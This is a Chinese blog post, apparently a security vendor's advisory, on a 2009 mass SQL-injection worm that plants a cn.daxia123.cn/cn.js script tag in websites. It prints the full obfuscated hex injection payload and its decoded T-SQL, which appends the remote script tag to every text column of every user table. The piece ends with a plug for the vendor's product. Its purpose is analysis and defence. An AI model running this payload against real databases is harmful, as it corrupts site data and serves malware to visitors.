zoukankan      html  css  js  c++  java
  • cn.daxia123.cn/cn.js挂马完美解决方案

          黑客商业化挂马越来越普遍,用GOOGLE搜索下<script src=http://cn.daxia123.cn/cn.js>

    </script>, 约有844,000个网站被挂马。

    最终经过安全伞终于抓到木马原型如下:

    ;dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228

    323535292C404320564152434841522832353529204445434C415245205461626C655F43757

    2736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D6520465

    24F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E6

    9643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D39

    39204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E787

    47970653D31363729204F50454E205461626C655F437572736F72204645544348204E455854

    2046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404

    046455443485F5354415455533D302920424547494E20455845432827555044415445205B27

    2B40542B275D20534554205B272B40432B275D3D525452494D28434F4E56455254285641524

    34841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687

    474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E2727

    2729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040

    542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445

    205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);

    该木马通过Cookie,GET,POST注入挂马,使用搜索引擎自动查找并注入网站,有点蠕虫的性质。

    上面cast里面sql语句解密如下

    DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVER

    T(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
    FETCH NEXT FROM Table_Cursor INTO @T,@C END
    CLOSE Table_Cursor DEALLOCATE Table_Cursor

    安全伞2009企业版可以有效解决类似变相注入问题

    官方下载:http://www.safe3.com.cn/download.htm

  • 相关阅读:
    LeetCode Power of Three
    LeetCode Nim Game
    LeetCode,ugly number
    LeetCode Binary Tree Paths
    LeetCode Word Pattern
    LeetCode Bulls and Cows
    LeeCode Odd Even Linked List
    LeetCode twoSum
    549. Binary Tree Longest Consecutive Sequence II
    113. Path Sum II
  • 原文地址:https://www.cnblogs.com/Safe3/p/1374773.html
Copyright © 2011-2022 走看看